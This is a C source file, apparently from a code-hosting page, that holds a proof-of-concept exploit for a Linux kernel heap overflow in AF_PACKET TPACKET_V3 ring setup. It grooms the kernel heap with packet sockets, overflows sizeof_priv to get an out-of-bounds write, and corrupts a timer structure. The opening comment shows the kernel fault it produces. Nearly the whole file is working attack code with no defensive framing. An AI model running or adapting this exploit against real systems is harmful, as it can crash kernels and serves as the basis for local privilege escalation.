/
HeapCrash.c
234 lines (202 loc) · 6.89 KB
/
HeapCrash.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
/*
Should generate the following crash dump
[ 1560.172684] general protection fault: 0000 [#1] SMP
[ 1560.175091] Modules linked in:
[ 1560.176580] CPU: 0 PID: 1738 Comm: alloc Not tainted 4.10.6 #2
[ 1560.178915] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 1560.180948] task: ffff88007a552340 task.stack: ffffc90001a24000
[ 1560.181653] RIP: 0010:detach_if_pending+0x3a/0xd0
[ 1560.182214] RSP: 0018:ffffc90001a27c68 EFLAGS: 00010006
[ 1560.182835] RAX: 4242424242424242 RBX: ffff880075078b80 RCX: ffffffff81e48da0
[ 1560.183765] RDX: ffffffff81e48da0 RSI: ffff88007fc0ed40 RDI: ffff880075078b80
[ 1560.185120] RBP: ffffc90001a27c80 R08: 0000000000000000 R09: 0000000000000000
[ 1560.186499] R10: ffff880079e14030 R11: ffff88007c093f10 R12: ffff88007fc0ed40
[ 1560.187949] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001
[ 1560.189324] FS: 0000000000000000(0000) GS:ffff88007fc00000(0000) knlGS:0000000000000000
[ 1560.190414] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1560.191142] CR2: 00007f0ac0ba91b0 CR3: 0000000001e0a000 CR4: 00000000000006f0
[ 1560.191983] Call Trace:
[ 1560.192298] try_to_del_timer_sync+0x38/0x60
[ 1560.192922] del_timer_sync+0x43/0x50
[ 1560.193511] packet_set_ring+0x26b/0x740
[ 1560.193969] ? destroy_inode+0x36/0x50
[ 1560.194409] ? evict+0x124/0x180
[ 1560.194789] ? __dev_remove_pack+0x2f/0xc0
[ 1560.195268] packet_release+0x177/0x370
[ 1560.195717] sock_release+0x1a/0x80
[ 1560.196127] sock_close+0xd/0x20
[ 1560.196522] __fput+0xda/0x1e0
[ 1560.196881] ____fput+0x9/0x10
[ 1560.197242] task_work_run+0x71/0x90
[ 1560.197662] do_exit+0x2b8/0xb30
[ 1560.198041] ? __hrtimer_init+0x90/0x90
[ 1560.198490] ? do_nanosleep+0x56/0xf0
[ 1560.198988] do_group_exit+0x42/0xb0
[ 1560.199669] SyS_exit_group+0xf/0x10
[ 1560.200269] entry_SYSCALL_64_fastpath+0x1a/0xa9
[ 1560.201026] RIP: 0033:0x7f0ac0ba9618
[ 1560.201643] RSP: 002b:00007ffc3b4d50e8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[ 1560.202997] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f0ac0ba9618
[ 1560.204389] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
[ 1560.205744] RBP: 00007ffc3b4d5110 R08: 00000000000000e7 R09: ffffffffffffff98
[ 1560.206618] R10: 00007ffc3b4d5068 R11: 0000000000000246 R12: 000055fb728b7860
[ 1560.207425] R13: 00007ffc3b4d5200 R14: 0000000000000000 R15: 0000000000000000
[ 1560.208247] Code: 89 e5 41 55 41 54 53 48 83 3f 00 0f 84 83 00 00 00 41 89 d5 48 89 fb 0f 1f 44 00 00 48 8b 03 48 8b 53 08 48 85 c0 48 89 02 74 04 <48> 89 50 08 45 84 ed 74 08 48 c7 43 08 00 00 00 00 48 b8 00 02
[ 1560.210428] RIP: detach_if_pending+0x3a/0xd0 RSP: ffffc90001a27c68
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
#define TIMER_OFFSET 898
#define XMIT_OFFSET 1304
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout)
{
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
printf("%d\n", s);
return s;
}
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
int oob_write()
{
char buffer[2048];
memset(&buffer[0], 0x42, sizeof(buffer));
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, &buffer[0]+2, 18);
return 0;
}
void oob_timer_execute()
{
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
oob_write();
sleep(1);
}
int main()
{
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
oob_timer_execute();
return 0;
}